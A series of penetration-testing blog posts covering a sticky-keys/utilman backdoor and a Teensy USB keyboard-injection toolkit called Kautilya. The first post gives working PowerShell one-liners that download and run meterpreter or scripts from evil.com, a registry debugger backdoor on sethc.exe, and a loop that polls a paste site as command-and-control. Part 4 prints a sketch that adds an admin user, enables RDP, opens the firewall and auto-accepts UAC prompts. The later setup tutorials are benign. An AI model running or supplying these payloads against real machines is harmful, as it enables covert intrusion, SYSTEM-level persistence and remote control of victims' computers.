Fun with Sticky Keys, Utilman and Powershell

Recently, carnal0wnage and mubix blogged about sticky keys. I have implemented this in Kautilya and found this usefult during many internal penetration tests.

I thought of playing more with this and using this is as something more useful and powerful. I started using powershell as debugger for sethc.exe and no points for guessing this is what I get when I pressed shift 5 times (or Left Alt + Left Shift + PrntScr for that matter).

So powershell is getting executed but there is no interactive prompt (I have not looked into the reason for this). I tried executing a simple script (which calls calc.exe) by setting it as a debuuger to sethc.exe. I have to call powershell from cmd as without cmd powershell was throwing some errors.

cmd /c powershell -ExecutionPolicy Bypass -command %temp%\calc.ps1

and the result was

Wow the legendary calc is here!! Keep in mind that if you use any environment variable for path of your powershell script, it would not be same for different user profile. For example, in the above if you use %temp%\calc.ps1 as path of the script, on an unlocked system that would be Temp directory of currently logged in user "C:\Users\\AppData\Local\Temp\calc.ps1". But when the machine is locked %temp% would be "C:\Windows\Temp", because of SYSTEM profile will access it. Keep that in mind while testing.

So, I was able to call the powershell script. This means if you are able to drop a script on victim and set powershell with proper arguments as a debugger to sethc.exe (or utilman.exe), you can execute the script with SYSTEM privilege.

What if I can somehow download and execute a meterpreter executable on the victim? Yes it is quite easy using this powershell one liner.

cmd /c powershell -ExecutionPolicy Bypass (new-object System.Net.WebClient).DownloadFile('http://evil.com/evil.bak','%temp%\good.exe'); powershell.exe -noLogo -command %temp%\good.exe

This looks good, a meterpreter executable downloaded and executed on a locked machine! But pulling a meterpreter executable on a machine is not a good idea for obvious reasons. Why not pulling a powershell script which can execute code in memory? Yes I am talking about Matt's work from his blog Exploit Monday.

cmd /c powershell -ExecutionPolicy Bypass (new-object System.Net.WebClient).DownloadFile('http://evil.com/codeexec.ps1','%temp%\codeexec.ps1'); powershell.exe -noLogo -command %temp%\codeexec.ps1

So what we have now? A powershell command which executes meterpreter from memory, set as debugger to sethc.exe which gets executed with SYSTEM level privilege. Wow!!

But is this over yet? Let's play more :) How to maintain access to the machine? Using persistence and other methods available with meterpreter is one option. I would like to use a little more powershell here.

Let's do this. Our powershell one liner will download another script (let's say payload.ps1). Payload.ps1 will keep polling a tinypaste id in an interval of one hour (or less) and would download and execute whatever powershell script is present there. So let's set our sethc.exe or Utilman.exe Debugger to below.

cmd /c powershell -ExecutionPolicy Bypass (new-object System.Net.WebClient).DownloadFile('http://tinypaste.com/f9ebab5a/save.php?hash=ddbdc40122955f6976f128e968be79ad/payload.ps1','%temp%\payload.ps1'); powershell.exe -noLogo -command %temp%\payload.ps1

using this

REG ADD "HKLM\SOFTWARE\Microsoft\Windows NT\CurrentVersion\Image File Execution Options\sethc.exe" /v Debugger /t REG_SZ /d "cmd /c powershell -ExecutionPolicy Bypass (new-object System.Net.WebClient).DownloadFile('http://http://tinypaste.com/f9ebab5a/save.php?hash=ddbdc40122955f6976f128e968be79ad/payload.ps1','"%"temp%\payload.ps1'); powershell.exe -noLogo -command "%"temp%\payload.ps1"

and now the result is

So what we have now is a payload which uses tinypaste as its C&C thingy and executes powershell scripts there with SYSTEM privilege :D

This is quite similar to my unpublished work called Maareech which is a sort of automated domain takeover tool in powershell.

payload.ps1 is the following powershell script. I know its ugly, I am still learning to write clean powershell scripts.

while($true)
{
start-sleep -seconds 3600
$webclient = New-Object System.Net.WebClient
$url = "http://tinypaste.com/f793967b/save.php?hash=7ca6b42a46f0f00e615bb19518c8da0b"
$file = "$env:temp\code_exec.ps1"
$webclient.DownloadFile($url,$file)
powershell.exe -ExecutionPolicy Bypass -noLogo -command $env:temp\code_exec.ps1
}

The payload, which polls tinypaste after given interval is very similar to "Time based execution" payload of Kautilya (just one line is different) but still for sake of usage, will be added as "Externally controlled payload" in some upcoming version of Kautilya.

Hope you enjoyed this. Feedback and suggestions are welcome.

Teensy USB HID for Penetration Testers - Part 4 - Kautilya

In third part of this series, we discussed how to write sketches using Arduino and Teensyduino. In this part, let's have a look at Kautilya. Kautilya is a toolkit written by me which helps in easing usage of Teensy in a penetration test. It is named after the famous Indian strategist, economist and political scientist Chankaya (Kautilya is one of his alias).  I will touch some less complex payload of Kautilya in this post.

Kautilya has a menu driven UI which could be used to generate sketches without a need of knowing how to program a Teensy device. The toolkit is written in Ruby and is free and open source. It currently contains payloads for Windows 7 and Linux (tested on Ubuntu 11). Kautilya is specifically designed to support Teensy out of the box, there is absolutely no modification required to the hardware.My motive behind writing Kautilya is to bring Teensy to masses. During my talks about Kautilya and Teensy I observed that often Pen Testers do not have enough time to program a device for their usage. Payloads in Kautilya could be used for pre exploitation and post exploitation tasks other than the “usual” popping of shells. 

The process of writing payloads for a Windows 7 machine could be summed up as:

1. Understand the operating system in terms of USB buffer.
2. Understand the commands supported and learn to write powershell or/and vbs.
3. Recognize the built-in security measures (like UAC and powershell script execution policy) which may check privileged commands and then learn how to bypass them.
4. Understand the time taken by operating system in completing various commands.
5. Write the commands and scripts on Teensy.
6. Understand more quirks of the command line when Teensy types out thing on victim.
7. Try not to be too noisy on the victim.
8. Test the payload and reach to final reasonable sketch.
9. Compile the sketch to Teensy device.
10. Attach it to the victim machine actively or using Social Engineering.
11. Enjoy the pwnage!

(Next few lines may look like self promotion ;) )

Kautilya automates steps 1-8 for you. Using Kautilya you just need to:

1. Select a payload and select your options. A sketch (a .ino or .pde file) would be generated for you.
2. Compile the sketch to Teensy device.
3. Attach it to the victim machine actively or using Social Engineering.
4. Enjoy the pwnage!

A screenshot of Kautilya 0.2.2

Kautilya is tested on Ruby 1.9.2. It requires ruby gems "colored" and "highline".

Let's have a look at some of the payloads for Windows in Kautilya. All the payloads are tested on a default install of Windows 7.

Add a user and Enable RDP
This payload adds an admin user to the victim. It also, enables and starts Terminal Service on the victim. An exception to Windows firewall is also added. This payload requires a user to be logged in with admin privileges.

The generated payload just needs to be compiled to a Teensy++. The device could then be connected to the victim. The victim will see start menu open up, some cmd being type and then a very small cmd window which type dark blue on black will do evil stuff for us...muhahaha

Let's have a look at the source code for better understanding. Many payloads in Kautilya are similar in structure to this one.

// Add an admin user and enable RDP payload of Kautilya
# define PAYLOAD_USER_ADD "net user INPUT0 INPUT1 /add"
//INPUT0 would be the username and INPUT1 would be the password.
# define PAYLOAD_GROUP_ADD "net localgroup Administrators INPUT0 /add"

void setup(){
 delay(5000);
 cmd_admin();
\\call to cmd_admin function
 delay(5000);
 send_alt_y();
\\\\call to send_alt_y function
 delay(5000);

add_user();
\\call to add_user function

Keyboard.println("reg add \"HKLM\\System\\CurrentControlSet\\Control\\Terminal Server\" /v fDenyTSConnections /t REG_DWORD /d 0 /f");
\\Enable terminal service
delay(2000);
Keyboard.println("reg add \"HKLM\\System\\CurrentControlSet\\Services\\TermService\" /v Start /t REG_DWORD /d 2 /f");
delay(2000);
Keyboard.println("sc start termservice");
\\start terminal service
delay(2000);
Keyboard.println("netsh firewall set service type = remotedesktop mode = enable");
\\Add execption to Windows Firewall
delay(3000);
Keyboard.println("exit");
}

void loop(){
}

void run(char *SomeCommand){
  Keyboard.set_modifier(MODIFIERKEY_RIGHT_GUI);
  Keyboard.set_key1(KEY_R);
  Keyboard.send_now();

  delay(1500);
  Keyboard.set_modifier(0);
  Keyboard.set_key1(0);
  Keyboard.send_now();

  Keyboard.print(SomeCommand);
  Keyboard.set_key1(KEY_ENTER);
  Keyboard.send_now();

  Keyboard.set_key1(0);
  Keyboard.send_now();
}
void add_user(){
delay(2000);
Keyboard.println(PAYLOAD_USER_ADD);
delay(2000);
Keyboard.println(PAYLOAD_GROUP_ADD);
delay(1000);

}


void send_alt_y(){
\\This function sends an Alt + Y to UAC prompt
\\thus effectively saying yes to the prompt  
  delay(1000);
  Keyboard.set_modifier(MODIFIERKEY_ALT);
  Keyboard.set_key1(KEY_Y);
  Keyboard.send_now();
  delay(100);

  Keyboard.set_modifier(0);
  Keyboard.set_key1(0);
  Keyboard.send_now();
  }
void cmd_admin(){
  Keyboard.set_modifier(MODIFIERKEY_RIGHT_GUI);
  Keyboard.send_now();
  delay(1000);
  Keyboard.set_modifier(0);
  Keyboard.send_now();
  delay(2000);
  Keyboard.print("cmd /T:01 /K \"@echo off && mode con:COLS=15 LINES=1 && title Installing Drivers\" ");
  \\this opens up a small cmd window which writes dark blue on black and have title Installing drivers
  delay(2000);
  Keyboard.set_modifier(MODIFIERKEY_CTRL);
  Keyboard.send_now();
  Keyboard.set_modifier(MODIFIERKEY_CTRL | MODIFIERKEY_SHIFT);
  Keyboard.send_now();
  Keyboard.set_key1(KEY_ENTER);
  Keyboard.send_now();

  delay(200);
  Keyboard.set_modifier(0);
  Keyboard.set_key1(0);
  Keyboard.send_now();
}

Download and Execute

This payload downloads an executable stored in text format from pastebin (or any other service which allows hosting of text without formatting), converts it back to exe on the victim and executes it in background. The exe must be converted into hex format using script exetotext.ps1 in extras folder of Kautilya. This script is originally an idea of Matt of Exploit-Monday blog.

In the above example, a windows reverse meterpreter is pasted to pastebin and the url is provided in the option.This payload could be used even with a low privilege user.

Forceful Browsing
This payload opens up a hidden instance of Internet Explorer using a COM obbject of Internet Explorer and browses to the provided URL. An ideal use case could be hosting an exploit of msf  or a hook of BeEF  on the given URL. This payload is one of my favorites as it is able to get executed on a normal user (non administrative) privilege and is very silent.

Sethc and Utilman Backdoor
This payload utilizes a useful hack in the Windows OS family. On a locked system, if you press Shift key five times (or Left Ctrl + Left Shift + Prnt Scr) i.e. sticky keys, sethc.exe is executed with SYSTEM level privileges. In a similar way, if Window key +U is pressed, utilmanager (which is utilman.exe ) is launched with SYSTEM privs. This payload attaches a an executable present on the machine as a debugger to sethc.exe and utilman.exe. The attahced executables can then be executed with SYSTEM level privileges on a locked Windows machine.

 

We had a look at some less complex payloads of Kautilya. In the next post (or posts) I will explain some more complex and powerful payloads. At least one post will cover breaking Linux (Ubuntu11) too.

I am thinking of creating some small videos demonstrating few payloads but only if some people ask for it ;) Please let me know if the length of blog posts is ok. Feedback and comments are welcome.

Teensy USB HID for Penetration Testers - Part 3 - Programming sketches in Arduino

In previous post we saw very basic usage of Arduino Development Environment (ADE) and ran our Hello World using Teensy. Let's have a look at doing something more with Teensy and ADE.

You know that there are two bare minimum functions called setup and loop in a sketch. But there are many more functions which are very useful while programming complex sketches. Have a look at the below sketch, which opens up notepad and types "Hello World" in it.

void setup()

{

delay(5000);

Keyboard.set_modifier(MODIFIERKEY_RIGHT_GUI);

Keyboard.set_key1(KEY_R);

Keyboard.send_now();

delay(500);

Keyboard.set_modifier(0);

Keyboard.set_key1(0);

Keyboard.send_now();

Keyboard.print("notepad");

Keyboard.set_key1(KEY_ENTER);

Keyboard.send_now();

Keyboard.set_key1(0);

Keyboard.send_now();

delay(2000);

Keyboard.print("Hello World");

}

void loop()

{

}

In a minute we will have a step by step look how the sketch is executed by Teensy. But before that, just recall how you open a notepad using "Run" prompt in Windows. These are the steps:

1. Press "Windows key + R"

2. Release "Windows key + R"

2. Type "notepad" when the run prompt opens up.

3. Press Enter.

4. Release Enter

Easy one. Now, if you map these steps to the sketch above you will find that the sketch is doing nothing but "simulating" your keystrokes. Let's have a look at the sketch again with comments

void setup()
{
  delay(5000); //Delay required for OS to connect the device properly
  Keyboard.set_modifier(MODIFIERKEY_RIGHT_GUI); //Tell Teensy to press Windows key
  Keyboard.set_key1(KEY_R); //Tell Teensy to press R
  Keyboard.send_now(); //Press "Windows key + R"
 
  delay(500); //Wait for half second
  Keyboard.set_modifier(0); //Tell Teensy to release Windows key
  Keyboard.set_key1(0); //Tell Teensy to release R
  Keyboard.send_now(); //Release "Windows key + R"
  //Teensy should open a run prompt now
  Keyboard.print("notepad"); //Type notepad in the run prompt
  Keyboard.set_key1(KEY_ENTER); //Tell Teensy to press Enter key
  Keyboard.send_now(); //Press Enter

  Keyboard.set_key1(0); //Tell Teensy to release Enter
  Keyboard.send_now(); //Release Enter
  delay(2000); //Wait for notepad to open
  Keyboard.print("Hello World"); //Type Hello World in notepad
}

void loop()
{
}

So the sketch makes more sense now. We used a number of new functions. Let's have a look at those:

delay() delays the execution of sketch by Teensy for given milliseconds. delay(5000) means delaying the execution for 5 seconds.

Keyboard.set_modifier sets a modifier key. There are four modifier keys

Name	Function
MODIFIERKEY_CTRL	Control Key
MODIFIERKEY_SHIFT	Shift Key
MODIFIERKEY_ALT	Alt Key
MODIFIERKEY_GUI	Windows (PC) or Clover (Mac)

 Table Courtesy: http://www.pjrc.com/teensy/td_keyboard.html

Note that I said it "sets" the modifier key. To send the key you need Keyboard.send_now() which sends all the "set" keys. We used Keyboard.setkey1 for setting the "R" key and then sent those together using Keyboard.send_now().

As per great documentation here at pjrc.com USB keyboard can have up-to 6 normal keys and 4 modifier keys. A complete table of codes for all normal keys could be found on the same page.

So we pressed the "Windows keys + R" by setting and sending the keys. Now to release these we need to set these to 0 and send these again. That is what we have done in above sketch by using Keyboard.set_modifier(0), Keyboard.setkey1(0) and Keyboard.send_now().

Rest of the sketch is easy to understand and needs no explanation. 

In the next post we will have a look at Kautilya. Please leave comments and feedback.

Teensy USB HID for Penetration Testers - Part 2 - Basics of Arduino and Hello World

In the first post we installed Arduino Development Environment (ADE). Now lets have a look at basics of Programming Teensy using ADE

Make sure that proper board is selected from the menu. Then choose the correct device type

In Arduino Development Environment (ADE), programming is done in a C type syntax. We have variables, methods, conditional operators and pointers etc. A program is called a sketch in ADE.

Now, let's have a look at sketches. A sketch must have a setup and a loop function. This is a bare minimum sketch and compilation of a sketch will fail in absence of any of these methods. You can compile a sketch even with empty setup and loop functions.

setup is called when a sketch is started. It is loaded only once. loop function keeps...umm...looping and repeats the code written inside it.

Let's write a very simple sketch which types "Hello World" on the cursor.

void setup()

{

Keyboard.print("Hello World");

}

void loop()

{

}

Now connect your Teensy device to the machine and compile and upload the code to the device by clicking on the Verify button. If you have done everything correctly you the sketch will be compiled and uploaded on the device. The device will reboot and should type out Hello World for you. Congrats you just ran your first sketch !!

If you move "Keyboard.print" to loop, Teensy will keep typing Hello World indefinitely. We will have a look at Keyboard and other functions in detail in next post.


If you encounter errors while compiling, double check that you have selected correct board type and device type. When you connect Teensy for the first time it may not type anything, since enough delays have not been introduced and device drivers take nearly 25 seconds to get loaded. Give it another try, it _will_ work.

If you want your Teensy to type nothing on your machine and want to test this only on a test machine, as soon as the program is compiled and Teensy reboots, press the small reboot key on Teensy and make sure "Auto" reboot is disabled on Teensyloader application (if the Auto button is off i.e. Dark Green in color,it is disabled). Now pull Teensy out of your machine and connect it to a "victim". You can see your device getting detected and type whatever was programmed.

This is it. This is a very basic post and is intended for first time or basic users of Teensy and ADE.  In the next post we will look in more detail about writing Teensy sketches with ADE. Meanwhile, try this and post your comments, insults and feedback.

Teensy USB HID for Penetration Testers - Part 1 - Introduction and Arduino Installation

My first blog post after two back to back awesome conferences Black Hat Europe and Troopers. At Black Hat Europe I conducted a workshop called Teensy Programming for Everyone. The workshop was well recieved by most of the participants. But I found that many of them found it difficult to setup Arduino for usage with Teensy and other basic stuff. So keeping in mind my upcoming trainings at Shakacon and GrrCON I am starting this series of blog posts which during initial posts will detail the basics of Teensyduino installation, structure of sketches and usage of Teensy. In later posts, I will cover Kautilya and its usage. So let's get started.

Teensy is a programmable USB HID from nice guys at pjrc.com. I use Teensy++ (which is an improved version of Teensy) in Penetration Tests for its ability to be used as a programmable keyboard. To start with, this is how you can install Arduino with Teensyduino:


For Windows (Tested on Windows 7 and XP) as an Adminsitrator

1. Download Arduino for Windows.

2. Extract the zip archive.

3. Download Teensyduino for Windows which is a plugin for Arduino. We require this to add support for Teensy in Arduino.

4. Download Windows Serial Installer

5. Run the the downloaded Serial Installer. You will get a warning as the driver is not signed by MicroSoft. Accept it and continue with the installation.

6. Run the Teensyduino, it will check for installed serial driver.Provide the path for the folder where Arduino has been extracted, the "Next" button will be activated only if a Arduino is found at the provided location.

You can choose more libraries to install on the next screen. You can choose to install none, Teensy does not require them.

7. Now you should see more options in Arduino.

For Linux (Tested on Backtrack 5)


1. Download Arduino for Linux.

2. Extract the zip archive.

3. Download Teensyduino 32bit or Teensyduino 64bit depending on your OS. We require this to add support for Teensy in Arduino.

4. Download udev rules. This is required to use Teensy as non root user.

5. Install udev rules

sudo cp 49-teensy.rules /etc/udev/rules.d/

6. Run the Teensyduino, provide the path for the directory where Arduino has been extracted.

7. Now you should see more options in Arduino.

This is it for the first post. Please leave comments and feedback.


UPDATE: If you are facing problems when using Linux make sure you have installed all the dependencies. Read this for more details